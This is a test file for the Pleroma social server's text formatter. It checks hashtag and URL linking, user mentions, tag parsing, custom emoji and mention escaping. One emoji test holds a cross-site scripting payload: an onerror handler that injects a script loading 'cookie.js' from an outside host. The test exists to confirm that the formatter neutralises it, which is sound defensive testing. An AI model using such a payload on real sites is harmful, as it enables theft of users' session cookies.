1 # Pleroma: A lightweight social networking server
2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
3 # SPDX-License-Identifier: AGPL-3.0-only
5 defmodule Pleroma.FormatterTest do
6 alias Pleroma.Formatter
10 import Pleroma.Factory
13 Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
17 describe ".add_hashtag_links" do
18 test "turns hashtags into links" do
19 text = "I love #cofe and #2hu"
22 "I love <a data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
24 tags = Formatter.parse_tags(text)
26 assert expected_text ==
27 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
30 test "does not turn html characters to tags" do
31 text = "Fact #3: pleroma does what mastodon't"
34 "Fact <a data-tag='3' href='http://localhost:4001/tag/3' rel='tag'>#3</a>: pleroma does what mastodon't"
36 tags = Formatter.parse_tags(text)
38 assert expected_text ==
39 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
43 describe ".add_links" do
44 test "turning urls into links" do
45 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
48 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
50 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
52 text = "https://mastodon.social/@lambadalambda"
55 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
57 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
59 text = "https://mastodon.social:4000/@lambadalambda"
62 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
64 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
66 text = "@lambadalambda"
67 expected = "@lambadalambda"
69 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
71 text = "http://www.cs.vu.nl/~ast/intel/"
72 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
74 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
76 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
79 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
81 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
83 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
86 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
88 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
90 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
93 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
95 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
97 text = "https://en.wikipedia.org/wiki/Duff's_device"
100 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
102 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
104 text = "https://pleroma.com https://pleroma.com/sucks"
107 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
109 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
111 text = "xmpp:contact@hacktivis.me"
113 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
115 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
118 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
120 expected = "<a href=\"#{text}\">#{text}</a>"
122 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
126 describe "add_user_links" do
127 test "gives a replacement for user links" do
128 text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
129 gsimg = insert(:user, %{nickname: "gsimg"})
133 nickname: "archa_eme_",
134 info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
137 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
139 mentions = Pleroma.Formatter.parse_mentions(text)
141 {subs, text} = Formatter.add_user_links({[], text}, mentions)
143 assert length(subs) == 3
144 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
147 "<span><a data-user='#{gsimg.id}' class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a data-user='#{
149 }' class='mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span><a data-user='#{
151 }' class='mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
153 assert expected_text == Formatter.finalize({subs, text})
156 test "gives a replacement for user links when the user is using Osada" do
157 mike = User.get_or_fetch("mike@osada.macgirvin.com")
159 text = "@mike@osada.macgirvin.com test"
161 mentions = Formatter.parse_mentions(text)
163 {subs, text} = Formatter.add_user_links({[], text}, mentions)
165 assert length(subs) == 1
166 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
169 "<span><a data-user='#{mike.id}' class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
171 assert expected_text == Formatter.finalize({subs, text})
174 test "gives a replacement for single-character local nicknames" do
176 o = insert(:user, %{nickname: "o"})
178 mentions = Formatter.parse_mentions(text)
180 {subs, text} = Formatter.add_user_links({[], text}, mentions)
182 assert length(subs) == 1
183 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
186 "<span><a data-user='#{o.id}' class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
188 assert expected_text == Formatter.finalize({subs, text})
191 test "does not give a replacement for single-character local nicknames who don't exist" do
194 mentions = Formatter.parse_mentions(text)
196 {subs, text} = Formatter.add_user_links({[], text}, mentions)
198 assert length(subs) == 0
199 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
201 expected_text = "@a hi"
202 assert expected_text == Formatter.finalize({subs, text})
206 describe ".parse_tags" do
207 test "parses tags in the text" do
208 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
212 {"#working", "working"},
217 assert Formatter.parse_tags(text) == expected
221 test "it can parse mentions and return the relevant users" do
223 "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
225 o = insert(:user, %{nickname: "o"})
226 jimm = insert(:user, %{nickname: "jimm"})
227 gsimg = insert(:user, %{nickname: "gsimg"})
228 archaeme = insert(:user, %{nickname: "archaeme"})
229 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
233 {"@archaeme", archaeme},
234 {"@archaeme@archae.me", archaeme_remote},
239 assert Formatter.parse_mentions(text) == expected_result
242 test "it adds cool emoji" do
243 text = "I love :moominmamma:"
246 "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
248 assert Formatter.emojify(text) == expected_result
251 test "it does not add XSS emoji" do
253 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
256 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
257 "https://placehold.it/1x1"
261 "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
263 assert Formatter.emojify(text, custom_emoji) == expected_result
266 test "it returns the emoji used in the text" do
267 text = "I love :moominmamma:"
269 assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
272 test "it returns a nice empty result when no emojis are present" do
273 text = "I love moominamma"
274 assert Formatter.get_emoji(text) == []
277 test "it doesn't die when text is absent" do
279 assert Formatter.get_emoji(text) == []
282 describe "/mentions_escape" do
283 test "it returns text with escaped mention names" do
285 @a_breakin_glass@cybre.space
286 (also, little voice inside my head thinking "maybe this will encourage people
287 pronouncing it properly instead of saying _raKEWdo_ ")
291 @a\\_breakin\\_glass@cybre\\.space
292 (also, little voice inside my head thinking \"maybe this will encourage people
293 pronouncing it properly instead of saying _raKEWdo_ \")
296 mentions = [{"@a_breakin_glass@cybre.space", %{}}]
297 assert Formatter.mentions_escape(text, mentions) == escape_text